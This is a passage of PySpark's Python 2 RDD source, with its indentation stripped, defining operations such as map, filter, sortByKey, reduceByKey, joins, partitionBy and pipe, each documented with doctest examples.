checkpointFile = self._jrdd.rdd().getCheckpointFile()
if checkpointFile.isDefined():
return checkpointFile.get()
else:
return None
def map(self, f, preservesPartitioning=False):
"""
Return a new RDD by applying a function to each element of this RDD.
>>> rdd = sc.parallelize(["b", "a", "c"])
>>> sorted(rdd.map(lambda x: (x, 1)).collect())
[('a', 1), ('b', 1), ('c', 1)]
"""
def func(split, iterator): return imap(f, iterator)
return PipelinedRDD(self, func, preservesPartitioning)
def flatMap(self, f, preservesPartitioning=False):
"""
Return a new RDD by first applying a function to all elements of this
RDD, and then flattening the results.
>>> rdd = sc.parallelize([2, 3, 4])
>>> sorted(rdd.flatMap(lambda x: range(1, x)).collect())
[1, 1, 1, 2, 2, 3]
>>> sorted(rdd.flatMap(lambda x: [(x, x), (x, x)]).collect())
[(2, 2), (2, 2), (3, 3), (3, 3), (4, 4), (4, 4)]
"""
def func(s, iterator): return chain.from_iterable(imap(f, iterator))
return self.mapPartitionsWithIndex(func, preservesPartitioning)
def mapPartitions(self, f, preservesPartitioning=False):
"""
Return a new RDD by applying a function to each partition of this RDD.
>>> rdd = sc.parallelize([1, 2, 3, 4], 2)
>>> def f(iterator): yield sum(iterator)
>>> rdd.mapPartitions(f).collect()
[3, 7]
"""
def func(s, iterator): return f(iterator)
return self.mapPartitionsWithIndex(func)
def mapPartitionsWithIndex(self, f, preservesPartitioning=False):
"""
Return a new RDD by applying a function to each partition of this RDD,
while tracking the index of the original partition.
>>> rdd = sc.parallelize([1, 2, 3, 4], 4)
>>> def f(splitIndex, iterator): yield splitIndex
>>> rdd.mapPartitionsWithIndex(f).sum()
6
"""
return PipelinedRDD(self, f, preservesPartitioning)
def mapPartitionsWithSplit(self, f, preservesPartitioning=False):
"""
Deprecated: use mapPartitionsWithIndex instead.
Return a new RDD by applying a function to each partition of this RDD,
while tracking the index of the original partition.
>>> rdd = sc.parallelize([1, 2, 3, 4], 4)
>>> def f(splitIndex, iterator): yield splitIndex
>>> rdd.mapPartitionsWithSplit(f).sum()
6
"""
warnings.warn("mapPartitionsWithSplit is deprecated; "
"use mapPartitionsWithIndex instead", DeprecationWarning, stacklevel=2)
return self.mapPartitionsWithIndex(f, preservesPartitioning)
def filter(self, f):
"""
Return a new RDD containing only the elements that satisfy a predicate.
>>> rdd = sc.parallelize([1, 2, 3, 4, 5])
>>> rdd.filter(lambda x: x % 2 == 0).collect()
[2, 4]
"""
def func(iterator): return ifilter(f, iterator)
return self.mapPartitions(func)
def distinct(self):
"""
Return a new RDD containing the distinct elements in this RDD.
>>> sorted(sc.parallelize([1, 1, 2, 3]).distinct().collect())
[1, 2, 3]
"""
return self.map(lambda x: (x, None)) \
.reduceByKey(lambda x, _: x) \
.map(lambda (x, _): x)
def sample(self, withReplacement, fraction, seed=None):
"""
Return a sampled subset of this RDD (relies on numpy and falls back
on default random generator if numpy is unavailable).
>>> sc.parallelize(range(0, 100)).sample(False, 0.1, 2).collect() #doctest: +SKIP
[2, 3, 20, 21, 24, 41, 42, 66, 67, 89, 90, 98]
"""
assert fraction >= 0.0, "Invalid fraction value: %s" % fraction
return self.mapPartitionsWithIndex(RDDSampler(withReplacement, fraction, seed).func, True)
# this is ported from scala/spark/RDD.scala
def takeSample(self, withReplacement, num, seed=None):
"""
Return a fixed-size sampled subset of this RDD (currently requires numpy).
>>> sc.parallelize(range(0, 10)).takeSample(True, 10, 1) #doctest: +SKIP
[4, 2, 1, 8, 2, 7, 0, 4, 1, 4]
"""
fraction = 0.0
total = 0
multiplier = 3.0
initialCount = self.count()
maxSelected = 0
if (num < 0):
raise ValueError
if (initialCount == 0):
return list()
if initialCount > sys.maxint - 1:
maxSelected = sys.maxint - 1
else:
maxSelected = initialCount
if num > initialCount and not withReplacement:
total = maxSelected
fraction = multiplier * (maxSelected + 1) / initialCount
else:
fraction = multiplier * (num + 1) / initialCount
total = num
samples = self.sample(withReplacement, fraction, seed).collect()
# If the first sample didn't turn out large enough, keep trying to take samples;
# this shouldn't happen often because we use a big multiplier for their initial size.
# See: scala/spark/RDD.scala
rand = Random(seed)
while len(samples) < total:
samples = self.sample(withReplacement, fraction, rand.randint(0, sys.maxint)).collect()
sampler = RDDSampler(withReplacement, fraction, rand.randint(0, sys.maxint))
sampler.shuffle(samples)
return samples[0:total]
def union(self, other):
"""
Return the union of this RDD and another one.
>>> rdd = sc.parallelize([1, 1, 2, 3])
>>> rdd.union(rdd).collect()
[1, 1, 2, 3, 1, 1, 2, 3]
"""
if self._jrdd_deserializer == other._jrdd_deserializer:
rdd = RDD(self._jrdd.union(other._jrdd), self.ctx,
self._jrdd_deserializer)
return rdd
else:
# These RDDs contain data in different serialized formats, so we
# must normalize them to the default serializer.
self_copy = self._reserialize()
other_copy = other._reserialize()
return RDD(self_copy._jrdd.union(other_copy._jrdd), self.ctx,
self.ctx.serializer)
def intersection(self, other):
"""
Return the intersection of this RDD and another one. The output will not
contain any duplicate elements, even if the input RDDs did.
Note that this method performs a shuffle internally.
>>> rdd1 = sc.parallelize([1, 10, 2, 3, 4, 5])
>>> rdd2 = sc.parallelize([1, 6, 2, 3, 7, 8])
>>> rdd1.intersection(rdd2).collect()
[1, 2, 3]
"""
return self.map(lambda v: (v, None)) \
.cogroup(other.map(lambda v: (v, None))) \
.filter(lambda x: (len(x[1][0]) != 0) and (len(x[1][1]) != 0)) \
.keys()
def _reserialize(self):
if self._jrdd_deserializer == self.ctx.serializer:
return self
else:
return self.map(lambda x: x, preservesPartitioning=True)
def __add__(self, other):
"""
Return the union of this RDD and another one.
>>> rdd = sc.parallelize([1, 1, 2, 3])
>>> (rdd + rdd).collect()
[1, 1, 2, 3, 1, 1, 2, 3]
"""
if not isinstance(other, RDD):
raise TypeError
return self.union(other)
def sortByKey(self, ascending=True, numPartitions=None, keyfunc = lambda x: x):
"""
Sorts this RDD, which is assumed to consist of (key, value) pairs.
>>> tmp = [('a', 1), ('b', 2), ('1', 3), ('d', 4), ('2', 5)]
>>> sc.parallelize(tmp).sortByKey(True, 2).collect()
[('1', 3), ('2', 5), ('a', 1), ('b', 2), ('d', 4)]
>>> tmp2 = [('Mary', 1), ('had', 2), ('a', 3), ('little', 4), ('lamb', 5)]
>>> tmp2.extend([('whose', 6), ('fleece', 7), ('was', 8), ('white', 9)])
>>> sc.parallelize(tmp2).sortByKey(True, 3, keyfunc=lambda k: k.lower()).collect()
[('a', 3), ('fleece', 7), ('had', 2), ('lamb', 5), ('little', 4), ('Mary', 1), ('was', 8), ('white', 9), ('whose', 6)]
"""
if numPartitions is None:
numPartitions = self.ctx.defaultParallelism
bounds = list()
# first compute the boundary of each part via sampling: we want to partition
# the key-space into bins such that the bins have roughly the same
# number of (key, value) pairs falling into them
if numPartitions > 1:
rddSize = self.count()
maxSampleSize = numPartitions * 20.0 # constant from Spark's RangePartitioner
fraction = min(maxSampleSize / max(rddSize, 1), 1.0)
samples = self.sample(False, fraction, 1).map(lambda (k, v): k).collect()
samples = sorted(samples, reverse=(not ascending), key=keyfunc)
# we have numPartitions many parts but one of the them has
# an implicit boundary
for i in range(0, numPartitions - 1):
index = (len(samples) - 1) * (i + 1) / numPartitions
bounds.append(samples[index])
def rangePartitionFunc(k):
p = 0
while p < len(bounds) and keyfunc(k) > bounds[p]:
p += 1
if ascending:
return p
else:
return numPartitions-1-p
def mapFunc(iterator):
yield sorted(iterator, reverse=(not ascending), key=lambda (k, v): keyfunc(k))
return (self.partitionBy(numPartitions, partitionFunc=rangePartitionFunc)
.mapPartitions(mapFunc,preservesPartitioning=True)
.flatMap(lambda x: x, preservesPartitioning=True))
def glom(self):
"""
Return an RDD created by coalescing all elements within each partition
into a list.
>>> rdd = sc.parallelize([1, 2, 3, 4], 2)
>>> sorted(rdd.glom().collect())
[[1, 2], [3, 4]]
"""
def func(iterator): yield list(iterator)
return self.mapPartitions(func)
def cartesian(self, other):
"""
Return the Cartesian product of this RDD and another one, that is, the
RDD of all pairs of elements C{(a, b)} where C{a} is in C{self} and
C{b} is in C{other}.
>>> rdd = sc.parallelize([1, 2])
>>> sorted(rdd.cartesian(rdd).collect())
[(1, 1), (1, 2), (2, 1), (2, 2)]
"""
# Due to batching, we can't use the Java cartesian method.
deserializer = CartesianDeserializer(self._jrdd_deserializer,
other._jrdd_deserializer)
return RDD(self._jrdd.cartesian(other._jrdd), self.ctx, deserializer)
def groupBy(self, f, numPartitions=None):
"""
Return an RDD of grouped items.
>>> rdd = sc.parallelize([1, 1, 2, 3, 5, 8])
>>> result = rdd.groupBy(lambda x: x % 2).collect()
>>> sorted([(x, sorted(y)) for (x, y) in result])
[(0, [2, 8]), (1, [1, 1, 3, 5])]
"""
return self.map(lambda x: (f(x), x)).groupByKey(numPartitions)
def pipe(self, command, env={}):
"""
Return an RDD created by piping elements to a forked external process.
>>> sc.parallelize([1, 2, 3]).pipe('cat').collect()
['1', '2', '3']
"""
def func(iterator):
pipe = Popen(shlex.split(command), env=env, stdin=PIPE, stdout=PIPE)
def pipe_objs(out):
for obj in iterator:
out.write(str(obj).rstrip('\n') + '\n')
out.close()
Thread(target=pipe_objs, args=[pipe.stdin]).start()
return (x.rstrip('\n') for x in pipe.stdout)
return self.mapPartitions(func)
def foreach(self, f):
"""
Applies a function to all elements of this RDD.
>>> def f(x): print x
>>> sc.parallelize([1, 2, 3, 4, 5]).foreach(f)
"""
def processPartition(iterator):
for x in iterator:
f(x)
yield None
self.mapPartitions(processPartition).collect() # Force evaluation
def foreachPartition(self, f):
"""
Applies a function to each partition of this RDD.
>>> def f(iterator):
... for x in iterator:
... print x
... yield None
>>> sc.parallelize([1, 2, 3, 4, 5]).foreachPartition(f)
"""
self.mapPartitions(f).collect() # Force evaluation
def collect(self):
"""
Return a list that contains all of the elements in this RDD.
"""
with _JavaStackTrace(self.context) as st:
bytesInJava = self._jrdd.collect().iterator()
return list(self._collect_iterator_through_file(bytesInJava))
def _collect_iterator_through_file(self, iterator):
# Transferring lots of data through Py4J can be slow because
# socket.readline() is inefficient. Instead, we'll dump the data to a
# file and read it back.
tempFile = NamedTemporaryFile(delete=False, dir=self.ctx._temp_dir)
tempFile.close()
self.ctx._writeToFile(iterator, tempFile.name)
# Read the data into Python and deserialize it:
with open(tempFile.name, 'rb') as tempFile:
for item in self._jrdd_deserializer.load_stream(tempFile):
yield item
os.unlink(tempFile.name)
def reduce(self, f):
"""
Reduces the elements of this RDD using the specified commutative and
associative binary operator. Currently reduces partitions locally.
>>> from operator import add
>>> sc.parallelize([1, 2, 3, 4, 5]).reduce(add)
15
>>> sc.parallelize((2 for _ in range(10))).map(lambda x: 1).cache().reduce(add)
10
"""
def func(iterator):
acc = None
for obj in iterator:
if acc is None:
acc = obj
else:
acc = f(obj, acc)
if acc is not None:
yield acc
vals = self.mapPartitions(func).collect()
return reduce(f, vals)
def fold(self, zeroValue, op):
"""
Aggregate the elements of each partition, and then the results for all
the partitions, using a given associative function and a neutral "zero
value."
The function C{op(t1, t2)} is allowed to modify C{t1} and return it
as its result value to avoid object allocation; however, it should not
modify C{t2}.
>>> from operator import add
>>> sc.parallelize([1, 2, 3, 4, 5]).fold(0, add)
15
"""
def func(iterator):
acc = zeroValue
for obj in iterator:
acc = op(obj, acc)
yield acc
vals = self.mapPartitions(func).collect()
return reduce(op, vals, zeroValue)
def aggregate(self, zeroValue, seqOp, combOp):
"""
Aggregate the elements of each partition, and then the results for all
the partitions, using a given combine functions and a neutral "zero
value."
The functions C{op(t1, t2)} is allowed to modify C{t1} and return it
as its result value to avoid object allocation; however, it should not
modify C{t2}.
The first function (seqOp) can return a different result type, U, than
the type of this RDD. Thus, we need one operation for merging a T into an U
and one operation for merging two U
>>> seqOp = (lambda x, y: (x[0] + y, x[1] + 1))
>>> combOp = (lambda x, y: (x[0] + y[0], x[1] + y[1]))
>>> sc.parallelize([1, 2, 3, 4]).aggregate((0, 0), seqOp, combOp)
(10, 4)
>>> sc.parallelize([]).aggregate((0, 0), seqOp, combOp)
(0, 0)
"""
def func(iterator):
acc = zeroValue
for obj in iterator:
acc = seqOp(acc, obj)
yield acc
return self.mapPartitions(func).fold(zeroValue, combOp)
def max(self):
"""
Find the maximum item in this RDD.
>>> sc.parallelize([1.0, 5.0, 43.0, 10.0]).max()
43.0
"""
return self.reduce(max)
def min(self):
"""
Find the maximum item in this RDD.
>>> sc.parallelize([1.0, 5.0, 43.0, 10.0]).min()
1.0
"""
return self.reduce(min)
def sum(self):
"""
Add up the elements in this RDD.
>>> sc.parallelize([1.0, 2.0, 3.0]).sum()
6.0
"""
return self.mapPartitions(lambda x: [sum(x)]).reduce(operator.add)
def count(self):
"""
Return the number of elements in this RDD.
>>> sc.parallelize([2, 3, 4]).count()
3
"""
return self.mapPartitions(lambda i: [sum(1 for _ in i)]).sum()
def stats(self):
"""
Return a L{StatCounter} object that captures the mean, variance
and count of the RDD's elements in one operation.
"""
def redFunc(left_counter, right_counter):
return left_counter.mergeStats(right_counter)
return self.mapPartitions(lambda i: [StatCounter(i)]).reduce(redFunc)
def mean(self):
"""
Compute the mean of this RDD's elements.
>>> sc.parallelize([1, 2, 3]).mean()
2.0
"""
return self.stats().mean()
def variance(self):
"""
Compute the variance of this RDD's elements.
>>> sc.parallelize([1, 2, 3]).variance()
0.666...
"""
return self.stats().variance()
def stdev(self):
"""
Compute the standard deviation of this RDD's elements.
>>> sc.parallelize([1, 2, 3]).stdev()
0.816...
"""
return self.stats().stdev()
def sampleStdev(self):
"""
Compute the sample standard deviation of this RDD's elements (which corrects for bias in
estimating the standard deviation by dividing by N-1 instead of N).
>>> sc.parallelize([1, 2, 3]).sampleStdev()
1.0
"""
return self.stats().sampleStdev()
def sampleVariance(self):
"""
Compute the sample variance of this RDD's elements (which corrects for bias in
estimating the variance by dividing by N-1 instead of N).
>>> sc.parallelize([1, 2, 3]).sampleVariance()
1.0
"""
return self.stats().sampleVariance()
def countByValue(self):
"""
Return the count of each unique value in this RDD as a dictionary of
(value, count) pairs.
>>> sorted(sc.parallelize([1, 2, 1, 2, 2], 2).countByValue().items())
[(1, 2), (2, 3)]
"""
def countPartition(iterator):
counts = defaultdict(int)
for obj in iterator:
counts[obj] += 1
yield counts
def mergeMaps(m1, m2):
for (k, v) in m2.iteritems():
m1[k] += v
return m1
return self.mapPartitions(countPartition).reduce(mergeMaps)
def top(self, num):
"""
Get the top N elements from a RDD.
Note: It returns the list sorted in descending order.
>>> sc.parallelize([10, 4, 2, 12, 3]).top(1)
[12]
>>> sc.parallelize([2, 3, 4, 5, 6], 2).cache().top(2)
[6, 5]
"""
def topIterator(iterator):
q = []
for k in iterator:
if len(q) < num:
heapq.heappush(q, k)
else:
heapq.heappushpop(q, k)
yield q
def merge(a, b):
return next(topIterator(a + b))
return sorted(self.mapPartitions(topIterator).reduce(merge), reverse=True)
def takeOrdered(self, num, key=None):
"""
Get the N elements from a RDD ordered in ascending order or as specified
by the optional key function.
>>> sc.parallelize([10, 1, 2, 9, 3, 4, 5, 6, 7]).takeOrdered(6)
[1, 2, 3, 4, 5, 6]
>>> sc.parallelize([10, 1, 2, 9, 3, 4, 5, 6, 7], 2).takeOrdered(6, key=lambda x: -x)
[10, 9, 7, 6, 5, 4]
"""
def topNKeyedElems(iterator, key_=None):
q = MaxHeapQ(num)
for k in iterator:
if key_ != None:
k = (key_(k), k)
q.insert(k)
yield q.getElements()
def unKey(x, key_=None):
if key_ != None:
x = [i[1] for i in x]
return x
def merge(a, b):
return next(topNKeyedElems(a + b))
result = self.mapPartitions(lambda i: topNKeyedElems(i, key)).reduce(merge)
return sorted(unKey(result, key), key=key)
def take(self, num):
"""
Take the first num elements of the RDD.
This currently scans the partitions *one by one*, so it will be slow if
a lot of partitions are required. In that case, use L{collect} to get
the whole RDD instead.
>>> sc.parallelize([2, 3, 4, 5, 6]).cache().take(2)
[2, 3]
>>> sc.parallelize([2, 3, 4, 5, 6]).take(10)
[2, 3, 4, 5, 6]
"""
def takeUpToNum(iterator):
taken = 0
while taken < num:
yield next(iterator)
taken += 1
# Take only up to num elements from each partition we try
mapped = self.mapPartitions(takeUpToNum)
items = []
# TODO(shivaram): Similar to the scala implementation, update the take
# method to scan multiple splits based on an estimate of how many elements
# we have per-split.
with _JavaStackTrace(self.context) as st:
for partition in range(mapped._jrdd.splits().size()):
partitionsToTake = self.ctx._gateway.new_array(self.ctx._jvm.int, 1)
partitionsToTake[0] = partition
iterator = mapped._jrdd.collectPartitions(partitionsToTake)[0].iterator()
items.extend(mapped._collect_iterator_through_file(iterator))
if len(items) >= num:
break
return items[:num]
def first(self):
"""
Return the first element in this RDD.
>>> sc.parallelize([2, 3, 4]).first()
2
"""
return self.take(1)[0]
def saveAsTextFile(self, path):
"""
Save this RDD as a text file, using string representations of elements.
>>> tempFile = NamedTemporaryFile(delete=True)
>>> tempFile.close()
>>> sc.parallelize(range(10)).saveAsTextFile(tempFile.name)
>>> from fileinput import input
>>> from glob import glob
>>> ''.join(sorted(input(glob(tempFile.name + "/part-0000*"))))
'0\\n1\\n2\\n3\\n4\\n5\\n6\\n7\\n8\\n9\\n'
"""
def func(split, iterator):
for x in iterator:
if not isinstance(x, basestring):
x = unicode(x)
yield x.encode("utf-8")
keyed = PipelinedRDD(self, func)
keyed._bypass_serializer = True
keyed._jrdd.map(self.ctx._jvm.BytesToString()).saveAsTextFile(path)
# Pair functions
def collectAsMap(self):
"""
Return the key-value pairs in this RDD to the master as a dictionary.
>>> m = sc.parallelize([(1, 2), (3, 4)]).collectAsMap()
>>> m[1]
2
>>> m[3]
4
"""
return dict(self.collect())
def keys(self):
"""
Return an RDD with the keys of each tuple.
>>> m = sc.parallelize([(1, 2), (3, 4)]).keys()
>>> m.collect()
[1, 3]
"""
return self.map(lambda (k, v): k)
def values(self):
"""
Return an RDD with the values of each tuple.
>>> m = sc.parallelize([(1, 2), (3, 4)]).values()
>>> m.collect()
[2, 4]
"""
return self.map(lambda (k, v): v)
def reduceByKey(self, func, numPartitions=None):
"""
Merge the values for each key using an associative reduce function.
This will also perform the merging locally on each mapper before
sending results to a reducer, similarly to a "combiner" in MapReduce.
Output will be hash-partitioned with C{numPartitions} partitions, or
the default parallelism level if C{numPartitions} is not specified.
>>> from operator import add
>>> rdd = sc.parallelize([("a", 1), ("b", 1), ("a", 1)])
>>> sorted(rdd.reduceByKey(add).collect())
[('a', 2), ('b', 1)]
"""
return self.combineByKey(lambda x: x, func, func, numPartitions)
def reduceByKeyLocally(self, func):
"""
Merge the values for each key using an associative reduce function, but
return the results immediately to the master as a dictionary.
This will also perform the merging locally on each mapper before
sending results to a reducer, similarly to a "combiner" in MapReduce.
>>> from operator import add
>>> rdd = sc.parallelize([("a", 1), ("b", 1), ("a", 1)])
>>> sorted(rdd.reduceByKeyLocally(add).items())
[('a', 2), ('b', 1)]
"""
def reducePartition(iterator):
m = {}
for (k, v) in iterator:
m[k] = v if k not in m else func(m[k], v)
yield m
def mergeMaps(m1, m2):
for (k, v) in m2.iteritems():
m1[k] = v if k not in m1 else func(m1[k], v)
return m1
return self.mapPartitions(reducePartition).reduce(mergeMaps)
def countByKey(self):
"""
Count the number of elements for each key, and return the result to the
master as a dictionary.
>>> rdd = sc.parallelize([("a", 1), ("b", 1), ("a", 1)])
>>> sorted(rdd.countByKey().items())
[('a', 2), ('b', 1)]
"""
return self.map(lambda x: x[0]).countByValue()
def join(self, other, numPartitions=None):
"""
Return an RDD containing all pairs of elements with matching keys in
C{self} and C{other}.
Each pair of elements will be returned as a (k, (v1, v2)) tuple, where
(k, v1) is in C{self} and (k, v2) is in C{other}.
Performs a hash join across the cluster.
>>> x = sc.parallelize([("a", 1), ("b", 4)])
>>> y = sc.parallelize([("a", 2), ("a", 3)])
>>> sorted(x.join(y).collect())
[('a', (1, 2)), ('a', (1, 3))]
"""
return python_join(self, other, numPartitions)
def leftOuterJoin(self, other, numPartitions=None):
"""
Perform a left outer join of C{self} and C{other}.
For each element (k, v) in C{self}, the resulting RDD will either
contain all pairs (k, (v, w)) for w in C{other}, or the pair
(k, (v, None)) if no elements in other have key k.
Hash-partitions the resulting RDD into the given number of partitions.
>>> x = sc.parallelize([("a", 1), ("b", 4)])
>>> y = sc.parallelize([("a", 2)])
>>> sorted(x.leftOuterJoin(y).collect())
[('a', (1, 2)), ('b', (4, None))]
"""
return python_left_outer_join(self, other, numPartitions)
def rightOuterJoin(self, other, numPartitions=None):
"""
Perform a right outer join of C{self} and C{other}.
For each element (k, w) in C{other}, the resulting RDD will either
contain all pairs (k, (v, w)) for v in this, or the pair (k, (None, w))
if no elements in C{self} have key k.
Hash-partitions the resulting RDD into the given number of partitions.
>>> x = sc.parallelize([("a", 1), ("b", 4)])
>>> y = sc.parallelize([("a", 2)])
>>> sorted(y.rightOuterJoin(x).collect())
[('a', (2, 1)), ('b', (None, 4))]
"""
return python_right_outer_join(self, other, numPartitions)
# TODO: add option to control map-side combining
def partitionBy(self, numPartitions, partitionFunc=hash):
"""
Return a copy of the RDD partitioned using the specified partitioner.
>>> pairs = sc.parallelize([1, 2, 3, 4, 2, 4, 1]).map(lambda x: (x, x))
>>> sets = pairs.partitionBy(2).glom().collect()
>>> set(sets[0]).intersection(set(sets[1]))
set([])
"""
if numPartitions is None:
numPartitions = self.ctx.defaultParallelism
# Transferring O(n) objects to Java is too expensive. Instead, we'll
# form the hash buckets in Python, transferring O(numPartitions) objects
# to Java. Each object is a (splitNumber, [objects]) pair.
outputSerializer = self.ctx._unbatched_serializer
def add_shuffle_key(split, iterator):
buckets = defaultdict(list)
for (k, v) in iterator:
buckets[partitionFunc(k) % numPartitions].append((k, v))
for (split, items) in buckets.iteritems():
yield pack_long(split)
yield outputSerializer.dumps(items)
keyed = PipelinedRDD(self, add_shuffle_key)
keyed._bypass_serializer = True
with _JavaStackTrace(self.context) as st:
pairRDD = self.ctx._jvm.PairwiseRDD(keyed._jrdd.rdd()).asJavaPairRDD()
partitioner = self.ctx._jvm.PythonPartitioner(numPartitions,
id(partitionFunc))
jrdd = pairRDD.partitionBy(partitioner).values()
rdd = RDD(jrdd, self.ctx, BatchedSerializer(outputSerializer))
# This is required so that id(partitionFunc) remains unique, even if
# partitionFunc is a lambda:
rdd._partitionFunc = partitionFunc
return rdd
# TODO: add control over map-side aggregation
def combineByKey(self, createCombiner, mergeValue, mergeCombiners,
numPartitions=None):
"""
Generic function to combine the elements for each key using a custom
set of aggregation functions.
Turns an RDD[(K, V)] into a result of type RDD[(K, C)], for a "combined
type" C. Note that V and C can be different -- for example, one might
group an RDD of type (Int, Int) into an RDD of type (Int, List[Int]).
Users provide three functions:
- C{createCombiner}, which turns a V into a C (e.g., creates
a one-element list)
- C{mergeValue}, to merge a V into a C (e.g., adds it to the end of
a list)
- C{mergeCombiners}, to combine two C's into a single one.
In addition, users can control the partitioning of the output RDD.
>>> x = sc.parallelize([("a", 1), ("b", 1), ("a", 1)])
>>> def f(x): return x
>>> def add(a, b): return a + str(b)
>>> sorted(x.combineByKey(str, add, add).collect())
[('a', '11'), ('b', '1')]
"""
if numPartitions is None:
numPartitions = self.ctx.defaultParallelism
def combineLocally(iterator):
combiners = {}
for x in iterator:
(k, v) = x
if k not in combiners:
combiners[k] = createCombiner(v)
else:
combiners[k] = mergeValue(combiners[k], v)
return combiners.iteritems()
locally_combined = self.mapPartitions(combineLocally)
shuffled = locally_combined.partitionBy(numPartitions)
def _mergeCombiners(iterator):
combiners = {}
for (k, v) in iterator:
if not k in combiners:
combiners[k] = v
else:
combiners[k] = mergeCombiners(combiners[k], v)
return combiners.iteritems()
return shuffled.mapPartitions(_mergeCombiners)
def foldByKey(self, zeroValue, func, numPartitions=None):
"""
Merge the values for each key using an associative function "func" and a neutral "zeroValue"
which may be added to the result an arbitrary number of times, and must not change
the result (e.g., 0 for addition, or 1 for multiplication.).
>>> rdd = sc.parallelize([("a", 1), ("b", 1), ("a", 1)])
>>> from operator import add
>>> rdd.foldByKey(0, add).collect()
[('a', 2), ('b', 1)]
"""
return self.combineByKey(lambda v: func(zeroValue, v), func, func, numPartitions)
# TODO: support variant with custom partitioner
def groupByKey(self, numPartitions=None):
"""
Group the values for each key in the RDD into a single sequence.
Hash-partitions the resulting RDD with into numPartitions partitions.
>>> x = sc.parallelize([("a", 1), ("b", 1), ("a", 1)])
>>> map((lambda (x,y): (x, list(y))), sorted(x.groupByKey().collect()))
[('a', [1, 1]), ('b', [1])]
"""
def createCombiner(x):
return [x]
def mergeValue(xs, x):
xs.append(x)
return xs
def mergeCombiners(a, b):
return a + b
return self.combineByKey(createCombiner, mergeValue, mergeCombiners,
numPartitions).mapValues(lambda x: ResultIterable(x))
# TODO: add tests
def flatMapValues(self, f):
"""
Pass each value in the key-value pair RDD through a flatMap function
without changing the keys; this also retains the original RDD's
partitioning.
>>> x = sc.parallelize([("a", ["x", "y", "z"]), ("b", ["p", "r"])])
>>> def f(x): return x
>>> x.flatMapValues(f).collect()
[('a', 'x'), ('a', 'y'), ('a', 'z'), ('b', 'p'), ('b', 'r')]
"""
flat_map_fn = lambda (k, v): ((k, x) for x in f(v))
return self.flatMap(flat_map_fn, preservesPartitioning=True)
def mapValues(self, f):
"""
Pass each value in the key-value pair RDD through a map function
without changing the keys; this also retains the original RDD's
partitioning.
>>> x = sc.parallelize([("a", ["apple", "banana", "lemon"]), ("b", ["grapes"])])
>>> def f(x): return len(x)
>>> x.mapValues(f).collect()
[('a', 3), ('b', 1)]
"""
map_values_fn = lambda (k, v): (k, f(v))
return self.map(map_values_fn, preservesPartitioning=True)
# TODO: support varargs cogroup of several RDDs.
def groupWith(self, other):
"""
Alias for cogroup.
"""
return self.cogroup(other)
# TODO: add variant with custom parittioner
def cogroup(self, other, numPartitions=None):
"""
For each key k in C{self} or C{other}, return a resulting RDD that
contains a tuple with the list of values for that key in C{self} as well
as C{other}.
>>> x = sc.parallelize([("a", 1), ("b", 4)])
>>> y = sc.parallelize([("a", 2)])
>>> map((lambda (x,y): (x, (list(y[0]), list(y[1])))), sorted(list(x.cogroup(y).collect())))
[('a', ([1], [2])), ('b', ([4], []))]
"""
return python_cogroup(self, other, numPartitions)
def subtractByKey(self, other, numPartitions=None):
"""
Return each (key, value) pair in C{self} that has no pair with matching key
in C{other}.
>>> x = sc.parallelize([("a", 1), ("b", 4), ("b", 5), ("a", 2)])
>>> y = sc.parallelize([("a", 3), ("c", None)])
>>> sorted(x.subtractByKey(y).collect())
[('b', 4), ('b', 5)]
"""
filter_func = lambda (key, vals): len(vals[0]) > 0 and len(vals[1]) == 0
map_func = lambda (key, vals): [(key, val) for val in vals[0]]
return self.cogroup(other, numPartitions).filter(filter_func).flatMap(map_func)
def subtract(self, other, numPartitions=None):
"""
Return each value in C{self} that is not contained in C{other}.
>>> x = sc.parallelize([("a", 1), ("b", 4), ("b", 5), ("a", 3)])
>>> y = sc.parallelize([("a", 3), ("c", None)])
>>> sorted(x.subtract(y).collect())
[('a', 1), ('b', 4), ('b', 5)]
"""
rdd = other.map(lambda x: (x, True)) # note: here 'True' is just a placeholder
return self.map(lambda x: (x, True)).subtractByKey(rdd).map(lambda tpl: tpl[0]) # note: here 'True' is just a placeholder
def keyBy(self, f):
"""
Creates tuples of the elements in this RDD by applying C{f}.
>>> x = sc.parallelize(range(0,3)).keyBy(lambda x: x*x)
>>> y = sc.parallelize(zip(range(0,5), range(0,5)))
>>> map((lambda (x,y): (x, (list(y[0]), (list(y[1]))))), sorted(x.cogroup(y).collect()))
[(0, ([0], [0])), (1, ([1], [1])), (2, ([], [2])), (3, ([], [3])), (4, ([2], [4]))]
"""
return self.map(lambda x: (f(x), x))
def repartition(self, numPartitions):
"""
Return a new RDD that has exactly numPartitions partitions.
Can increase or decrease the level of parallelism in this RDD. Internally, this uses
a shuffle to redistribute data.
If you are decreasing the number of partitions in this RDD, consider using `coalesce`,
which can avoid performing a shuffle.
>>> rdd = sc.parallelize([1,2,3,4,5,6,7], 4)
>>> sorted(rdd.glom().collect())
[[1], [2, 3], [4, 5], [6, 7]]
>>> len(rdd.repartition(2).glom().collect())
2
>>> len(rdd.repartition(10).glom().collect())
10
"""
jrdd = self._jrdd.repartition(numPartitions)
return RDD(jrdd, self.ctx, self._jrdd_deserializer)
def coalesce(self, numPartitions, shuffle=False):
"""
Return a new RDD that is reduced into `numPartitions` partitions.
>>> sc.parallelize([1, 2, 3, 4, 5], 3).glom().collect()
[[1], [2, 3], [4, 5]]
>>> sc.parallelize([1, 2, 3, 4, 5], 3).coalesce(1).glom().collect()
[[1, 2, 3, 4, 5]]
"""
jrdd = self._jrdd.coalesce(numPartitions)
return RDD(jrdd, self.ctx, self._jrdd_deserializer)
def zip(self, other):
"""
Zips this RDD with another one, returning key-value pairs with the first element in each RDD
second element in each RDD, etc. Assumes that the two RDDs have the same number of
partitions and the same number of elements in each partition (e.g. one was made through
a map on the other).
>>> x = sc.parallelize(range(0,5))
>>> y = sc.parallelize(range(1000, 1005))
>>> x.zip(y).collect()
[(0, 1000), (1, 1001), (2, 1002), (3, 1003), (4, 1004)]
"""
pairRDD = self._jrdd.zip(other._jrdd)
deserializer = PairDeserializer(self._jrdd_deserializer,
other._jrdd_deserializer)
return RDD(pairRDD, self.ctx, deserializer)
def name(self):
"""
Return the name of this RDD.
"""
name_ = self._jrdd.name()
if not name_:
return None
return name_.encode('utf-8')
def setName(self, name):
"""
Assign a name to this RDD.
>>> rdd1 = sc.parallelize([1,2])
>>> rdd1.setName('RDD1')
>>> rdd1.name()
'RDD1'
"""
self._jrdd.setName(name)
def toDebugString(self):
"""
A description of this RDD and its recursive dependencies for debugging.
"""
debug_string = self._jrdd.toDebugString()
if not debug_string:
return None
return debug_string.encode('utf-8')
def getStorageLevel(self):
"""
Get the RDD's current storage level.
>>> rdd1 = sc.parallelize([1,2])
